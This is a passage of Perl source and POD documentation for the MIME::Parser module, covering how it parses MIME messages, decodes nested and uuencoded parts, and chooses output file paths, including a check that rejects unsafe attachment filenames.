    $entity = $parser->parse(\*STDIN);
    $entity = $parser->parse(IO::File->new("some command|");
	  
    ### Parse from any object that supports getline() and read():
    $entity = $parser->parse($myHandle);
     
    ### Parse an in-core MIME message:
    $entity = $parser->parse_data($message);
         
    ### Parse an MIME message in a file:
    $entity = $parser->parse_open("/some/file.msg");
    
    ### Parse an MIME message out of a pipeline:
    $entity = $parser->parse_open("gunzip - < file.msg.gz |");
      
    ### Parse already-split input (as "deliver" would give it to you):
    $entity = $parser->parse_two("msg.head", "msg.body");


=head2 Examples of output control

    ### Keep parsed message components in core (default outputs to disk):
    $parser->output_to_core(1);
     
    ### Output each message's components to a one-per-message directory:
    $parser->output_under("/tmp");
     
    ### Output each message's components to the same directory:
    $parser->output_dir("/tmp");
    
    ### Change how nameless message-component files are named:
    $parser->output_prefix("msg");


=head2 Examples of error recovery

    ### Normal mechanism:
    eval { $entity = $parser->parse(\*STDIN) };
    if ($@) {
	$results  = $parser->results;
	$decapitated = $parser->last_head;  ### get last top-level head
    }
    
    ### Ultra-tolerant mechanism:
    $parser->ignore_errors(1);
    $entity = eval { $parser->parse(\*STDIN) };
    $error = ($@ || $parser->last_error);


=head2 Examples of parser options

    ### Automatically attempt to RFC-1522-decode the MIME headers?
    $parser->decode_headers(1);              ### default is false [no decoding]
    
    ### Parse contained "message/rfc822" objects as nested MIME streams?
    $parser->extract_nested_messages(0);     ### default is true [extract them]
     
    ### Look for uuencode in "text" messages, and extract it?
    $parser->extract_uuencode(1);            ### default is false [no uudecode]
          
    ### Should we forgive normally-fatal errors?
    $parser->ignore_errors(0);               ### default is true [forgive errs]


=head2 Miscellaneous examples

    ### Convert a Mail::Internet object to a MIME::Entity:
    @lines = (@{$mail->header}, "\n", @{$mail->body});
    $entity = $parser->parse_data(\@lines);



=head1 DESCRIPTION

You can inherit from this class to create your own subclasses 
that parse MIME streams into MIME::Entity objects.


=head1 PUBLIC INTERFACE

=cut

#------------------------------

# We require the new FileHandle methods, and a non-buggy version
# of FileHandle->new_tmpfile:
require 5.004; 

### Pragmas:
use strict;
use vars (qw($VERSION $CAT $CRLF $BM));

### Built-in modules:
use FileHandle ();
use Carp;
use IO::Wrap;
use IO::Scalar       1.117;
use IO::ScalarArray  1.114;
use IO::Lines        1.108;
use IO::File;
use IO::InnerFile;
use File::Spec;
use File::Path;
use Config qw(%Config);

### Kit modules:
use MIME::Tools qw(:config :utils);
use MIME::Head;
use MIME::Body;
use MIME::Entity;
use MIME::Decoder;
use MIME::Parser::Reader;
use MIME::Parser::Results;


#============================================================
#
# A special kind of inner file that we can virtually print to.
#
package MIME::Parser::InnerFile;

use vars qw(@ISA);
@ISA = qw(IO::InnerFile);

sub print {
    shift->add_length(length(join('', @_)));
}

sub PRINT  {
    shift->{LG} += length(join('', @_));
}

#============================================================

package MIME::Parser;


#------------------------------
#
# Globals
#
#------------------------------

### The package version, both in 1.23 style *and* usable by MakeMaker:
$VERSION = substr q$Revision: 5.209 $, 10;

### How to catenate:
$CAT = '/bin/cat';

### The CRLF sequence:
$CRLF = "\015\012";



### Who am I?
my $ME = 'MIME::Parser';

### Count of fake filenames generated:
my $G_output_path = 0;

### Count of fake subdirectories generated:
my $G_subdir = 0;



#------------------------------------------------------------

=head2 Construction

=over 4

=cut

#------------------------------

=item new ARGS...

I<Class method.>
Create a new parser object.  
Once you do this, you can then set up various parameters
before doing the actual parsing.  For example:

    my $parser = new MIME::Parser;
    $parser->output_dir("/tmp");
    $parser->output_prefix("msg1");
    my $entity = $parser->parse(\*STDIN);

Any arguments are passed into C<init()>.
Don't override this in your subclasses; override init() instead.

=cut

sub new {
    my $self = bless {}, shift;
    $self->init(@_);
}

#------------------------------

=item init ARGS...

I<Instance method.>
Initiallize a new MIME::Parser object.  
This is automatically sent to a new object; you may want to override it.
If you override this, be sure to invoke the inherited method.

=cut

sub init {
    my $self = shift;

    $self->{MP5_DecodeHeaders}   = 0;
    $self->{MP5_Interface}       = {};
    $self->{MP5_OutputToCore}    = 0;
    $self->{MP5_OutputToSubdir}  = 0;
    $self->{MP5_ParseNested}     = 'NEST';   
    $self->{MP5_Prefix}          = 'msg'; 
    $self->{MP5_Tmp}             = undef;
    $self->{MP5_TmpRecycling}    = 1;
    $self->{MP5_TmpToCore}       = 0;
    $self->{MP5_IgnoreErrors}    = 1;
    $self->{MP5_UseInnerFiles}   = 0;
    $self->{MP5_UUDecode}        = 0;

    $self->interface(ENTITY_CLASS => 'MIME::Entity');
    $self->interface(HEAD_CLASS   => 'MIME::Head');

    $self; 
}

#------------------------------

=item init_parse

I<Instance method.>
Invoked automatically whenever one of the top-level parse() methods
is called, to reset the parser to a "ready" state.

=cut

sub init_parse {
    my $self = shift;

    ### Parse info:
    $self->{MP5_Results} = new MIME::Parser::Results;
    $self->{MP5_EOS} = undef;

    ### If using output_under, set actual output_dir directly 
    ### (not by its method!) and purge existing contents:
    if (defined($self->{MP5_OutputBase})) {

	### Determine the subdirectory of ther base to use:
	my $subdir = (defined($self->{MP5_OutputDirName})
		      ? $self->{MP5_OutputDirName}
		      : ("msg-".scalar(time)."-$$-".$G_subdir++));
	$self->debug("subdir = $subdir");
	
	### Determine full path to output directory:
	$self->{MP5_OutputDir} = catfile($self->{MP5_OutputBase}, $subdir);

	### Remove and re-create it:
	rmtree $self->output_dir if $self->{OutputPurge};
	(-d $self->output_dir) or
	    mkdir $self->output_dir, 0700 or 
		die "mkdir ".$self->output_dir.": $!\n";
    }
    1;
}

=back

=cut





#------------------------------------------------------------

=head2 Altering how messages are parsed

=over 4

=cut

#------------------------------

=item decode_headers [YESNO]

I<Instance method.>
Controls whether the parser will attempt to decode the MIME headers
(as per RFC-1522) the moment it sees them.  This will probably be of
most use to those of you who expect some international mail,
especially mail from individuals with 8-bit characters in their names.

If YESNO is true, decoding is done.
If YESNO is false (the default), no attempt at decoding will be done.
With no argument, just returns the current setting.

=cut

sub decode_headers {
    my ($self, $yesno) = @_;
    $self->{MP5_DecodeHeaders} = $yesno if (@_ > 1);
    $self->{MP5_DecodeHeaders};
}

#------------------------------

=item extract_nested_messages OPTION

I<Instance method.>
Some MIME messages will contain a part of type C<message/rfc822>:
literally, the text of an embedded mail/news/whatever message.  
This option controls whether (and how) we parse that embedded message.

If the OPTION is false, we treat such a message just as if it were a 
C<text/plain> document, without attempting to decode its contents.  

If the OPTION is true (the default), the body of the C<message/rfc822> 
part is parsed by this parser, creating an entity object.  
What happens then is determined by the actual OPTION:

=over 4

=item NEST or 1

The default setting.
The contained message becomes the sole "part" of the C<message/rfc822> 
entity (as if the containing message were a special kind of
"multipart" message).  
You can recover the sub-entity by invoking the L<parts()|MIME::Entity/parts> 
method on the C<message/rfc822> entity.

=item REPLACE

The contained message replaces the C<message/rfc822> entity, as though
the C<message/rfc822> "container" never existed.  

B<Warning:> notice that, with this option, all the header information 
in the C<message/rfc822> header is lost.  This might seriously bother
you if you're dealing with a top-level message, and you've just lost
the sender's address and the subject line.  C<:-/>.

=back

I<Thanks to Andreas Koenig for suggesting this method.>

=cut

sub extract_nested_messages {
    my ($self, $option) = @_;
    $self->{MP5_ParseNested} = $option if (@_ > 1);
    $self->{MP5_ParseNested};
}

sub parse_nested_messages {
    carp "$ME: parse_nested_messages() is now extract_nested_messages()\n";
    shift->extract_nested_messages(@_);
}

#------------------------------

=item extract_uuencode [YESNO]

I<Instance method.>
If set true, then whenever we are confronted with a message
whose effective content-type is "text/plain" and whose encoding
is 7bit/8bit/binary, we scan the encoded body to see if it contains
uuencoded data (generally given away by a "begin XXX" line). 

If it does, we explode the uuencoded message into a multipart, 
where the text before the first "begin XXX" becomes the first part,
and all "begin...end" sections following become the subsequent parts. 
The filename (if given) is accessible through the normal means.

=cut

sub extract_uuencode {
    my ($self, $yesno) = @_;
    $self->{MP5_UUDecode} = $yesno if @_ > 1;
    $self->{MP5_UUDecode};
}

#------------------------------

=item ignore_errors [YESNO]

I<Instance method.>
Controls whether the parser will attempt to ignore normally-fatal
errors, treating them as warnings and continuing with the parse.

If YESNO is true (the default), many syntax errors are tolerated.
If YESNO is false, fatal errors throw exceptions.
With no argument, just returns the current setting.

=cut

sub ignore_errors {
    my ($self, $yesno) = @_;
    $self->{MP5_IgnoreErrors} = $yesno if (@_ > 1);
    $self->{MP5_IgnoreErrors};
}





#------------------------------
#
# MESSAGES...
#

#------------------------------
#
# error PROBLEM...
#
# Possibly-forgivable parse error occurred.
# Normally raise a fatal exception; might just warn and continue.
#
sub error {
    my $self = shift;
    $self->results->msg('error', @_);     ### record it
    if ($self->{MP5_IgnoreErrors}) {
	&MIME::Tools::whine("error: ", @_);   ### say it
	return undef;
    }
    die @_;
}

#------------------------------
#
# whine PROBLEM...
#
sub whine {
    my $self = shift;
    $self->results->msg('warning', @_);   ### record it
    &MIME::Tools::whine(@_);              ### say it
}

#------------------------------
#
# debug MESSAGE...
#
sub debug {
    my $self = shift;
    unshift @_, ('   ' x $self->results->level);
    $self->results->msg('debug', @_);     ### record it
    MIME::Tools::debug(@_);               ### say it
}



#------------------------------
#
# PARSING...
#

#------------------------------
#
# process_preamble IN, READER, ENTITY
#
# I<Instance method.>
# Dispose of a multipart message's preamble.
#
sub process_preamble {
    my ($self, $in, $rdr, $ent) = @_;

    ### Sanity:
    ($rdr->depth > 0) or die "internal logic error";
    
    ### Parse preamble:
    my @saved;
    $rdr->read_lines($in, \@saved);
    $ent->preamble(\@saved);
    1;
}

#------------------------------
#
# process_epilogue IN, READER, ENTITY
#
# I<Instance method.>
# Dispose of a multipart message's epilogue.
#
sub process_epilogue {
    my ($self, $in, $rdr, $ent) = @_;
    $self->debug("process_epilogue");

    ### Parse epilogue:
    my @saved;
    $rdr->read_lines($in, \@saved);
    $ent->epilogue(\@saved);
    1;
}

#------------------------------
#
# process_to_bound IN, READER, OUT
#
# I<Instance method.>
# Dispose of the next chunk into the given output stream OUT.
# 
sub process_to_bound {
    my ($self, $in, $rdr, $out) = @_;        

    ### Parse:
    my $bm = benchmark {
	$rdr->read_chunk($in, $out);
    };
    $self->debug("t bound: $bm");
    1;
}

#------------------------------
#
# process_header IN, READER
#
# I<Instance method.>
# Process and return the next header.
# Fatal exception on failure.
#
sub process_header {
    my ($self, $in, $rdr) = @_;
    $self->debug("process_header");

    ### Parse and save the (possibly empty) header, up to and including the
    ###    blank line that terminates it:
    my $head = $self->interface('HEAD_CLASS')->new;

    ### Read the lines of the header.
    ### We localize IO inside here, so that we can support the IO:: interface
    my @headlines;
    my $hdr_rdr = $rdr->spawn->add_terminator("");
    $hdr_rdr->read_lines($in, \@headlines);
    foreach (@headlines) { s/[\r\n]+\Z/\n/ }  ### fold

    ### How did we do?
    ($hdr_rdr->eos_type eq 'DONE') or
	$self->error("unexpected end of header\n");

    ### Cleanup ">From " lines.
    ###    Some folks like to parse mailboxes, so the header will start
    ###    with "From " or ">From ".  Tolerate this by removing both kinds
    ###    of lines silently (can't use Mail::Header for this).
    shift @headlines while (@headlines and $headlines[0] =~ /^>?From /);

    ### Extract the header (note that zero-size headers are admissible!):
    $head->extract(\@headlines);
    @headlines and 
	$self->error("couldn't parse head; error near:\n",@headlines);

    ### If desired, auto-decode the header as per RFC-1522.  
    ###    This shouldn't affect non-encoded headers; however, it will decode
    ###    headers with international characters.  WARNING: currently, the
    ###    character-set information is LOST after decoding.
    $head->decode if $self->{MP5_DecodeHeaders};

    ### If this is the top-level head, save it:
    $self->results->top_head($head) if !$self->results->top_head;

    return $head;
}

#------------------------------
#
# process_multipart IN, READER, ENTITY
#
# I<Instance method.>
# Process the multipart body, and return the state.
# Fatal exception on failure.
# Invoked by process_part().
#
sub process_multipart {
    my ($self, $in, $rdr, $ent) = @_;
    my $head = $ent->head;
    
    $self->debug("process_multipart...");

    ### Get actual type and subtype from the header:
    my ($type, $subtype) = (split('/', $head->mime_type), "");
    
    ### If this was a type "multipart/digest", then the RFCs say we
    ### should default the parts to have type "message/rfc822".
    ### Thanks to Carsten Heyl for suggesting this...
    my $retype = (($subtype eq 'digest') ? 'message/rfc822' : '');

    ### Get the boundaries for the parts:
    my $bound = $head->multipart_boundary;
    if (!defined($bound) || ($bound =~ /[\r\n]/)) {
	$self->error("multipart boundary is missing, or contains CR or LF\n");
	$ent->effective_type("application/x-unparseable-multipart");
	return $self->process_singlepart($in, $rdr, $ent);
    }
    my $part_rdr = $rdr->spawn->add_boundary($bound);

    ### Prepare to parse:
    my $eos_type;
    my $more_parts;

    ### Parse preamble...
    $self->process_preamble($in, $part_rdr, $ent);

    ### ...and look at how we finished up:
    $eos_type = $part_rdr->eos_type;
    if    ($eos_type eq 'DELIM'){ $more_parts = 1 }
    elsif ($eos_type eq 'CLOSE'){ $self->whine("empty multipart message\n");
				  $more_parts = 0; }
    else                        { $self->error("unexpected end of preamble\n");
				  return 1; }

    ### Parse parts: 
    my $partno = 0;
    my $part;
    while ($more_parts) {
	++$partno;
	$self->debug("parsing part $partno...");
	
	### Parse the next part, and add it to the entity...
	my $part = $self->process_part($in, $part_rdr, Retype=>$retype);
	$ent->add_part($part);

	### ...and look at how we finished up:
	$eos_type = $part_rdr->eos_type;
	if    ($eos_type eq 'DELIM') { $more_parts = 1 }
	elsif ($eos_type eq 'CLOSE') { $more_parts = 0; }
	else                         { $self->error("unexpected end of parts ".
						    "before epilogue\n");
				       return 1; }
    }
    
    ### Parse epilogue... 
    ###    (note that we use the *parent's* reader here, which does not
    ###     know about the boundaries in this multipart!)
    $self->process_epilogue($in, $rdr, $ent);

    ### ...and there's no need to look at how we finished up!
    1;
}

#------------------------------
#
# process_singlepart IN, READER, ENTITY
#
# I<Instance method.>
# Process the singlepart body.  Returns true.
# Fatal exception on failure.
# Invoked by process_part().
#
sub process_singlepart {
    my ($self, $in, $rdr, $ent) = @_;
    my $head    = $ent->head;

    $self->debug("process_singlepart...");

    ### Obtain a filehandle for reading the encoded information:
    ###    We have two different approaches, based on whether or not we 
    ###    have to contend with boundaries.
    my $ENCODED;             ### handle
    my $can_shortcut = (!$rdr->has_bounds and !$self->{MP5_UUDecode});
    if ($can_shortcut) {
	$self->debug("taking shortcut");

	$ENCODED = $in;
	$rdr->eos('EOF');   ### be sure to bogus-up the reader state to EOF:
    }
    else {

	### Can we read real fast?
	if ($self->{MP5_UseInnerFiles} && 
	    $in->can('seek') && $in->can('tell')) {
	    $self->debug("using inner file");
	    $ENCODED = MIME::Parser::InnerFile->new($in, $in->tell, 0);
	}
	else {
	    $self->debug("using temp file");
	    $ENCODED = $self->new_tmpfile($self->{Tmp});
	    $self->{Tmp} = $ENCODED if $self->{TmpRecycle};
	}

	### Read encoded body until boundary (or EOF)...
	$self->process_to_bound($in, $rdr, $ENCODED);

	### ...and look at how we finished up.
	###     If we have bounds, we want DELIM or CLOSE.
	###     Otherwise, we want EOF (and that's all we'd get, anyway!).
	if ($rdr->has_bounds) {
	    ($rdr->eos_type =~ /^(DELIM|CLOSE)$/) or
		$self->error("part did not end with expected boundary\n");
	}

	### Flush and rewind encoded buffer, so we can read it:
	$ENCODED->flush;
	$ENCODED->seek(0, 0);
    }

    ### Get a content-decoder to decode this part's encoding:
    my $encoding = $head->mime_encoding;
    my $decoder = new MIME::Decoder $encoding;
    if (!$decoder) {
	$self->whine("Unsupported encoding '$encoding': using 'binary'... \n".
		     "The entity will have an effective MIME type of \n".
		     "application/octet-stream.");  ### as per RFC-2045
	$ent->effective_type('application/octet-stream');
	$decoder = new MIME::Decoder 'binary';
    }


    ### If desired, sidetrack to troll for UUENCODE:
    $self->debug("extract uuencode? ", $self->extract_uuencode);
    $self->debug("encoding?         ", $encoding);
    $self->debug("effective type?   ", $ent->effective_type);
    if ($self->extract_uuencode and
	($encoding =~ /^(7bit|8bit|binary)\Z/) and
	($ent->effective_type =~ m{^text/plain\Z})) {
	
	### Hunt for it:
	my $uu_ent = eval { $self->hunt_for_uuencode($ENCODED, $ent) };
	if ($uu_ent) {   ### snark
	    %$ent = %$uu_ent;
	    return 1;
	}	
	else {           ### boojum
	    $self->whine("while hunting for uuencode: $@");
	    $ENCODED->seek(0,0);
	}
    }

    
    ### Open a new bodyhandle for outputting the data:
    my $body = $self->new_body_for($head) || die "$ME: no body\n"; # gotta die
    $body->binmode(1) unless textual_type($ent->effective_type);

    ### Decode and save the body (using the decoder):
    my $DECODED = $body->open("w") || die "$ME: body not opened: $!\n"; 
    my $bm = benchmark {
	eval { $decoder->decode($ENCODED, $DECODED); }; 
	$@ and $self->error($@);
    };
    $self->debug("t decode: $bm");
    $DECODED->close;
    
    ### Success!  Remember where we put stuff:
    $ent->bodyhandle($body);

    ### Done!
    1;
}

#------------------------------
#
# hunt_for_uuencode ENCODED, ENTITY
#
# I<Instance method.>
# Try to detect and dispatch embedded uuencode as a fake multipart message.
# Returns new entity or undef.
#
sub hunt_for_uuencode {
    my ($self, $ENCODED, $ent) = @_;
    my $good;
    local $_;
    $self->debug("sniffing around for UUENCODE");

    ### Heuristic:
    $ENCODED->seek(0,0);
    while (defined($_ = $ENCODED->getline)) {
	last if ($good = /^begin [0-7]{3}/);
    }
    $good or do { $self->debug("no one made the cut"); return 0 };

    ### New entity:
    my $top_ent = $ent->dup;      ### no data yet
    $top_ent->make_multipart; 
    my @parts;

    ### Made the first cut; on to the real stuff:
    $ENCODED->seek(0,0);
    my $decoder = MIME::Decoder->new('x-uuencode');
    my $pre;
    while (1) {
	my @bin_data;

	### Try next part:
	my $out = IO::ScalarArray->new(\@bin_data);
	eval { $decoder->decode($ENCODED, $out) }; last if $@;
	my $preamble = $decoder->last_preamble;
	my $filename = $decoder->last_filename;
	my $mode     = $decoder->last_mode;

	### Get probable type:
	my $type = 'application/octet-stream';
	my ($ext) = $filename =~ /\.(\w+)\Z/; $ext = lc($ext || '');
	if ($ext =~ /^(gif|jpe?g|xbm|xpm|png)\Z/) { $type = "image/$1" }
	
	### If we got our first preamble, create the text portion:
	if (@$preamble and 
	    (grep /\S/, @$preamble) and
	    !@parts) {
	    my $txt_ent = $self->interface('ENTITY_CLASS')->new;

	    MIME::Entity->build(Type => "text/plain",
				Data => "");
	    $txt_ent->bodyhandle($self->new_body_for($txt_ent->head));
	    my $io = $txt_ent->bodyhandle->open("w");
	    $io->print(@$preamble);
	    $io->close;
	    push @parts, $txt_ent;
	}
	
	### Create the attachment:
	### We use the x-unix-mode convention from "dtmail 1.2.1 SunOS 5.6".
	if (1) {
	    my $bin_ent = MIME::Entity->build(Type=>$type,
					      Filename=>$filename, 
					      Data=>"");
	    $bin_ent->head->mime_attr('Content-type.x-unix-mode' => "0$mode");
	    $bin_ent->bodyhandle($self->new_body_for($bin_ent->head));
	    my $io = $bin_ent->bodyhandle->open("w");
	    eval { $io->binmode(1) };     ### IO::Wrap problems
	    $io->print(@bin_data);
	    $io->close;
	    push @parts, $bin_ent;
	}
    }

    ### Did we get anything?
    @parts or return undef;

    ### Set the parts and a nice preamble:
    $top_ent->parts(\@parts);
    $top_ent->preamble
	(["The following is a multipart MIME message which was extracted\n",
	  "from a uuencoded message.\n"]);
    $top_ent;
}

#------------------------------
#
# process_message IN, READER, ENTITY
#
# I<Instance method.>
# Process the singlepart body, and return true.
# Fatal exception on failure.
# Invoked by process_part().
#
sub process_message {
    my ($self, $in, $rdr, $ent) = @_;
    my $head = $ent->head;

    $self->debug("process_message");

    ### Verify the encoding restrictions:
    my $encoding = $head->mime_encoding;
    if ($encoding !~ /^(7bit|8bit|binary)$/) {
	$self->error("illegal encoding [$encoding] for MIME type ".
		     $head->mime_type."\n");
	$encoding = 'binary';
    }

    ### Parse the message:
    my $msg = $self->process_part($in, $rdr);

    ### How to handle nested messages?
    if ($self->extract_nested_messages eq 'REPLACE') {
	%$ent = %$msg;          ### shallow replace
	%$msg = ();
    }
    else {                      ### "NEST" or generic 1:
	$ent->bodyhandle(undef);
	$ent->add_part($msg);
    }
    1;
}

#------------------------------
#
# process_part IN, READER, [OPTSHASH...]
#
# I<Instance method.>
# The real back-end engine.
# See the documentation up top for the overview of the algorithm.
# The OPTSHASH can contain:
#
#    Retype => retype this part to the given content-type
#
# Return the entity.
# Fatal exception on failure.
#
sub process_part {
    my ($self, $in, $rdr, %p) = @_;

    $rdr ||= MIME::Parser::Reader->new;
    #debug "process_part";
    $self->results->level(+1);

    ### Create a new entity:
    my $ent = $self->interface('ENTITY_CLASS')->new;

    ### Parse and add the header:
    my $head = $self->process_header($in, $rdr);
    $ent->head($head);   

    ### Tweak the content-type based on context from our parent...
    ### For example, multipart/digest messages default to type message/rfc822:
    $head->mime_type($p{Retype}) if $p{Retype};
    
    ### Get the MIME type and subtype:
    my ($type, $subtype) = (split('/', $head->mime_type), '');
    $self->debug("type = $type, subtype = $subtype");

    ### Handle, according to the MIME type:
    if ($type eq 'multipart') {
	$self->process_multipart($in, $rdr, $ent);
    }
    elsif (("$type/$subtype" eq "message/rfc822") && 
	   $self->extract_nested_messages) {
	$self->debug("attempting to process a nested message");
	$self->process_message($in, $rdr, $ent);
    }
    else {                     
	$self->process_singlepart($in, $rdr, $ent);
    }

    ### Done (we hope!):
    $self->results->level(-1);
    return $ent;
}



=back

=head2 Parsing an input source

=over 4

=cut

#------------------------------

=item parse_data DATA

I<Instance method.>
Parse a MIME message that's already in core.  
You may supply the DATA in any of a number of ways...

=over 4

=item *

B<A scalar> which holds the message.

=item *

B<A ref to a scalar> which holds the message.  This is an efficiency hack.

=item *

B<A ref to an array of scalars.>  They are treated as a stream
which (conceptually) consists of simply concatenating the scalars.

=back

Returns the parsed MIME::Entity on success.  
Throws exception on failure.

=cut

sub parse_data {
    my ($self, $data) = @_;

    ### Get data as a scalar:    
    my $io;
  switch: while(1) {
      (!ref($data)) and do {
	  $io = new IO::Scalar \$data; last switch;
      };
      (ref($data) eq 'SCALAR') and do {
	  $io = new IO::Scalar $data; last switch;
      };
      (ref($data) eq 'ARRAY') and do {
	  $io = new IO::ScalarArray $data; last switch;
      };
      croak "parse_data: wrong argument ref type: ", ref($data);
  }
    
    ### Parse!
    return $self->parse($io);
}

#------------------------------

=item parse INSTREAM

I<Instance method.>
Takes a MIME-stream and splits it into its component entities,
each of which is decoded and placed in a separate file in the splitter's
output_dir().  

The INSTREAM can be given as a readable FileHandle, an IO::File,
a globref filehandle (like C<\*STDIN>),
or as I<any> blessed object conforming to the IO:: interface
(which minimally implements getline() and read()).

Returns the parsed MIME::Entity on success.  
Throws exception on failure.

=cut

sub parse {
    my $self = shift;
    my $in = wraphandle(shift);    ### coerce old-style filehandles to objects
    my $entity;

    my $bm = benchmark {
	$self->init_parse;
	($entity) = $self->process_part($in, undef);  ### parse!
    };
    $self->debug("t parse: $bm");

    $entity;
}

### Backcompat:
sub read { 
    shift->parse(@_); 
}

#------------------------------

=item parse_open EXPR

I<Instance method.>
Convenience front-end onto C<parse()>.
Simply give this method any expression that may be sent as the second
argument to open() to open a filehandle for reading. 

Returns the parsed MIME::Entity on success.  
Throws exception on failure.

=cut

sub parse_open {
    my ($self, $expr) = @_;
    my $ent;

    my $io = IO::File->new($expr) or die "$ME: couldn't open $expr: $!\n";
    $ent = $self->parse($io);
    $io->close;
    $ent;
}

### Backcompat:
sub parse_in { 
    carp "$ME: parse_in() is now parse_open()\n"; 
    shift->parse_open(@_); 
}

#------------------------------

=item parse_two HEADFILE, BODYFILE

I<Instance method.>
Convenience front-end onto C<parse_open()>, intended for programs 
running under mail-handlers like B<deliver>, which splits the incoming
mail message into a header file and a body file.
Simply give this method the paths to the respective files.  

B<Warning:> it is assumed that, once the files are cat'ed together,
there will be a blank line separating the head part and the body part.

B<Warning:> new implementation slurps files into line array
for portability, instead of using 'cat'.  May be an issue if 
your messages are large.

Returns the parsed MIME::Entity on success.  
Throws exception on failure.

=cut

sub parse_two {
    my ($self, $headfile, $bodyfile) = @_;
    my @lines;
    foreach ($headfile, $bodyfile) {
	open IN, "<$_" or die "open $_: $!";
	push @lines, <IN>;
	close IN;
    }
    return $self->parse_data(\@lines);
}

=back

=cut




#------------------------------------------------------------

=head2 Specifying output destination

=over 4

=cut

#------------------------------

=item evil_filename FILENAME

I<Instance method.>
Is this an evil filename?  It is if any of these are true:

    * it is empty
    * it is a string of dots: ".", "..", etc.
    * it contains a known "path" character: '/' '\' ':' '[' ']'

Override this method in a subclass if you just want to change which 
externally-provided filenames are allowed, and which are not.  Like this:

     package MIME::MyParser;
     
     use MIME::Parser;
     @ISA = qw(MIME::Parser);
     
     sub evil_filename {
         my ($self, $name) = @_;
         return ($name !~ /^[a-z\d][a-z\d\._-]*$/i); 
     }

B<Note:> This method used to be a lot stricter, but it unnecessailry
inconvenienced users on non-ASCII systems.  That has been changed in 4.x.

I<Thanks to Andrew Pimlott for finding a real dumb bug in the original
version.  Thanks to Nickolay Saukh for noting that evil is in the 
eye of the beholder.>

=cut

sub evil_filename {
    my ($self, $name) = @_;
    return 1 if (!defined($name) or ($name eq ''));   ### empty
    return 1 if ($name =~ m{^\.+\Z});         ### dots
    return 1 if ($name =~ tr{\\/:[]}{});      ### path characters
    0;
}

#------------------------------
# Function.
# Cleanup a directory, defaulting empty to "."
#
sub cleanup_dir {
    my $dir = shift;
    $dir = '.' if (!defined($dir) || ($dir eq ''));   # coerce empty to "."
    $dir = '/.' if ($dir eq '/');   # coerce "/" so "$dir/$filename" works
    $dir =~ s|/$||;                 # be nice: get rid of any trailing "/"
    $dir;
}

#------------------------------

=item output_dir [DIRECTORY]

I<Instance method.>
Get/set the output directory for the parsing operation.
This is the directory where the extracted and decoded body parts will go.
The default is C<".">.

If C<DIRECTORY> I<is not> given, the current output directory is returned.
If C<DIRECTORY> I<is> given, the output directory is set to the new value,
and the previous value is returned.

B<Note:> this is used by the C<output_path()> method in this class.
It should also be used by subclasses, but if a subclass decides to 
output parts in some completely different manner, this method may 
of course be completely ignored.

=cut

sub output_dir {
    my ($self, $dir) = @_;

    if (@_ > 1) {     ### arg given...
	$self->{MP5_OutputDir} = cleanup_dir($dir);
	delete $self->{MP5_OutputBase};           ### out with the old
	delete $self->{MP5_OutputDirName};        ### out with the old
    }
    $self->{MP5_OutputDir};
}

#------------------------------

=item output_under BASEDIR, [OPTSHASH...]

I<Instance method.>
An alternative to explicitly setting the L<output_dir()|/output_dir>.
If used, then each parse begins by creating a new subdirectory of BASEDIR
where the actual parts are placed.  OPTSHASH can contain the following:

=over 4

=item DirName

Explicitly set the name of the subdirectory which is created.
The default is to use the time, process id, and a sequence number,
but you might want a predictable directory.  

=item Purge

Automatically purge the contents of the directory (including all
subdirectories) before each parse.  This is really only needed if
using an explicit DirName, and is provided as a convenience only.
Currently we use the 1-arg form of File::Path::rmtree; you should
familiarize yourself with the caveats therein.

=back

The output_dir() will return the path to this message-specific directory 
until the next parse is begun, so you can do this:

    use File::Path;
     
    $parser->output_under("/tmp");
    $ent = eval { $parser->parse_open($msg); };   ### parse
    if (!$ent) {	 ### parse failed
	rmtree($parser->output_dir);
	die "parse failed: $@";
    } 
    else {               ### parse succeeded
	...do stuff...
    }


With no argument, returns the current BASEDIR.

=cut

sub output_under {
    my ($self, $basedir, %opts) = @_;
    if (@_ > 1) {
	$self->{MP5_OutputBase}    = cleanup_dir($basedir);
	$self->{MP5_OutputDirName} = $opts{DirName}; 
	$self->{MP5_OutputPurge}   = $opts{Purge}; 
	delete $self->{MP5_OutputDir};      ### out with the old!
    }
    $self->{MP5_OutputBase};
}


=cut

#------------------------------

=item output_path HEAD

I<Instance method.>
Given a MIME head for a file to be extracted, come up with a good
output pathname for the extracted file.
The "directory" portion of the returned path will be the C<output_dir()>, 
and the "filename" portion will be determined as follows:

=over 4

=item *

If the MIME header contains a recommended filename, and it is
I<not> judged to be "evil" (evil filenames are ones which contain
things like "/" or ".." or non-ASCII characters), then that 
filename will be used.

=item *

If the MIME header contains a recommended filename, but it I<is>
judged to be "evil", then a warning is issued and we pretend that
there was no recommended filename.  In which case...

=item *

If the MIME header does not specify a recommended filename, then
a simple temporary file name, starting with the C<output_prefix()>, 
will be used.

=back

B<Note:> If you don't like the behavior of this function, you 
can define your own subclass of MIME::Parser and override it there:

     package MIME::MyParser;
     
     require 5.002;                ### for SUPER
     use package MIME::Parser;
     
     @MIME::MyParser::ISA = qw(MIME::Parser);
     
     sub output_path {
         my ($self, $head) = @_;
         
         ### Your code here; FOR EXAMPLE...
         if (i_have_a_preference) {
	     return my_custom_path;
         }
	 else {                      ### return the default path:
             return $self->SUPER::output_path($head);
         }
     }
     1;

B<Note:> Nickolay Saukh pointed out that, given the subjective nature of
what is "evil", this function really shouldn't I<warn> about an evil
filename, but maybe just issue a I<debug> message.  I considered that, 
but then I thought: if debugging were off, people wouldn't know why 
(or even if) a given filename had been ignored.  In mail robots
that depend on externally-provided filenames, this could cause 
hard-to-diagnose problems.  So, the message is still a warning, but 
now B<it's only output if $^W is true.>

I<Thanks to Laurent Amon for pointing out problems with the original
implementation, and for making some good suggestions.  Thanks also to
Achim Bohnet for pointing out that there should be a hookless, OO way of 
overriding the output_path.>

=cut

sub output_path {
    my ($self, $head) = @_;

    ### Get the output filename:
    my $outname = $head->recommended_filename;
    if (defined($outname) && $self->evil_filename($outname)) {
	$self->whine("Provided filename '$outname' is regarded as evil by\n",
		     "this parser... I'm ignoring it and supplying my own.");
	$outname = undef;
    }
    if (!defined($outname)) {      ### evil or missing; make our OWN filename:
	$self->debug("no filename recommended: synthesizing our own");
	++$G_output_path;
	$outname = ($self->output_prefix . "-$$-$G_output_path.dat");
    }
    
    ### Compose the full path from the output directory and filename:
    my $outdir = $self->output_dir;
    $outdir = '.' if (!defined($outdir) || ($outdir eq ''));  # just to be safe
    return File::Spec->catfile($outdir, $outname);
}

#------------------------------

=item output_prefix [PREFIX]

I<Instance method.>
Get/set the short string that all filenames for extracted body-parts 
